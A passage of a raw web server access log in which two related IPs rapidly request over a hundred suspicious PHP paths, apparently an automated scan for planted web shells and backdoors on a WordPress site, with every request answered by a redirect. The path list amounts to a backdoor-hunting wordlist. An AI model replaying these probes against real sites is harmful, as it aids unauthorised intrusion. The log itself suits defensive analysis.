-0400] "GET /wp-includes/SimplePie/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:36 -0400] "GET /wp-admin/css/colors/coffee/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:36 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:50:37 -0400] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:37 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:38 -0400] "GET /hiroshi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:38 -0400] "GET /fun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:50:38 -0400] "GET /kajisak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:50:38 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:38 -0400] "GET /trust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.18 - - [29/Apr/2025:14:50:39 -0400] "GET /godsend.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:50:39 -0400] "GET /wp-zett.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:39 -0400] "GET /LV.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:40 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:40 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:41 -0400] "GET /wboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:41 -0400] "GET /gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:42 -0400] "GET /wp-ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:42 -0400] "GET /bionic.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:50:42 -0400] "GET /hidey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:42 -0400] "GET /myk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:43 -0400] "GET /kajiwara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - [29/Apr/2025:14:50:43 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:50:43 -0400] "GET /my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:44 -0400] "GET /aclass.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:50:44 -0400] "GET /admin1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:44 -0400] "GET /wp-signups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:44 -0400] "GET /cdm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:44 -0400] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:45 -0400] "GET /def.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:45 -0400] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:50:45 -0400] "GET /admin11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:45 -0400] "GET /fond.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:46 -0400] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:46 -0400] "GET /termps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:46 -0400] "GET /vip.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:47 -0400] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:47 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:50:47 -0400] "GET /search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:50:48 -0400] "GET /wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:50:48 -0400] "GET /networks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:50:48 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:50:49 -0400] "GET /abby.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:50:49 -0400] "GET /anger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:49 -0400] "GET /lu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:50:50 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:50:50 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:50 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:50 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:51 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:51 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.18 - - [29/Apr/2025:14:50:51 -0400] "GET /wp-content/plugins/page-flip-image-gallery/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:52 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.18 - - [29/Apr/2025:14:50:52 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:50:52 -0400] "GET /glpi/vendor/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:50:52 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:53 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:50:53 -0400] "GET /prosellers.PhP7?pass=prosellers HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:50:53 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:50:53 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:53 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:50:54 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:54 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:54 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:55 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.18 - - [29/Apr/2025:14:50:55 -0400] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:55 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:55 -0400] "GET /WSOEnigma.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:56 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:56 -0400] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:56 -0400] "GET /cgi-bin/cgi-bin/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:57 -0400] "GET /wp-content/plugins/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:57 -0400] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:57 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:50:57 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:58 -0400] "GET /consystem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:58 -0400] "GET /_css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:50:58 -0400] "GET /conf1g.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:59 -0400] "GET /base.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.18 - - [29/Apr/2025:14:50:59 -0400] "GET /wsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:50:59 -0400] "GET /wp-content/plugins/wpcall-button/button-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:51:00 -0400] "GET /wp-content/plugins/phpadmin/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.18 - - [29/Apr/2025:14:51:00 -0400] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:51:00 -0400] "GET /wp-content/themes/too.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:51:00 -0400] "GET /wp-includes/assets/winnner.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.18 - - [29/Apr/2025:14:51:01 -0400] "GET /wp-content/plugins/classic-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:51:01 -0400] "GET /wp-content/plugins/eventon-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:51:02 -0400] "GET /wp-content/plugins/royal-ckeditor/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:51:02 -0400] "GET /fwe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.18 - - [29/Apr/2025:14:51:02 -0400] "GET /wp-content/11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:51:03 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.18 - - [29/Apr/2025:14:51:03 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:03 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:04 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:04 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.38 - - [29/Apr/2025:14:51:04 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.38 - - [29/Apr/2025:14:51:04 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:05 -0400] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:05 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:05 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:05 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:06 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:06 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:06 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:51:06 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:07 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:51:07 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:07 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:07 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:07 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:51:08 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:51:08 -0400] "GET /wp-content/smm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:08 -0400] "GET /jetpack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:08 -0400] "GET /xltavrat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:51:08 -0400] "GET /.wp-back.phP 